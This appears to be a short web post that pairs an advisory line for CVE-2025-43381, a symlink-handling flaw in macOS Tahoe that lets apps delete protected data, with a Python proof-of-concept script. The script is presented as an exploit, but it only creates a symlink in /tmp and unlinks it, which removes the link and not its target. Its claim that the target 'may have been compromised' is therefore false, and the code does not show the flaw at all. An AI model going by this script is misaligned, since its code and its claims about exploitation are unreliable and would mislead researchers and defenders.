This issue was addressed with improved handling of symlinks. This issue is fixed in macOS Tahoe 26.1. A malicious app may be able to delete protected user data.
The following code is for security research and authorized testing only.
python
# CVE-2025-43381 PoC - Symbolic Link Exploitation
# This PoC demonstrates the symbolic link handling vulnerability in macOS Tahoe
import os
import sys
import shutil
def create_symlink_exploit():
"""
Create a symbolic link to a protected file and attempt deletion.
This PoC demonstrates the vulnerability where symlinks are not properly validated.
"""
protected_file = "/Users/Shared/ProtectedUserData.dat"
symlink_path = "/tmp/malicious_symlink"
# Clean up any existing symlink
if os.path.islink(symlink_path):
os.unlink(symlink_path)
# Create symlink to protected file
try:
os.symlink(protected_file, symlink_path)
print(f"[+] Created symlink: {symlink_path} -> {protected_file}")
# Attempt to delete the symlink (which may delete the target file)
if os.path.islink(symlink_path):
os.unlink(symlink_path)
print(f"[!] Symlink deleted - target file may have been compromised")
except PermissionError:
print(f"[-] Permission denied - system may be patched")
except FileNotFoundError:
print(f"[-] Target file not found")
def check_vulnerability():
"""
Check if the system is vulnerable to CVE-2025-43381
"""
print("CVE-2025-43381 Vulnerability Check")
print("=" * 50)
print("Vulnerability: Improper symlink handling in macOS Tahoe")
print("Severity: Medium (CVSS 5.5)")
print("Attack Vector: Local")
print("Required Privileges: Low")
print("=" * 50)
if __name__ == "__main__":
check_vulnerability()
create_symlink_exploit()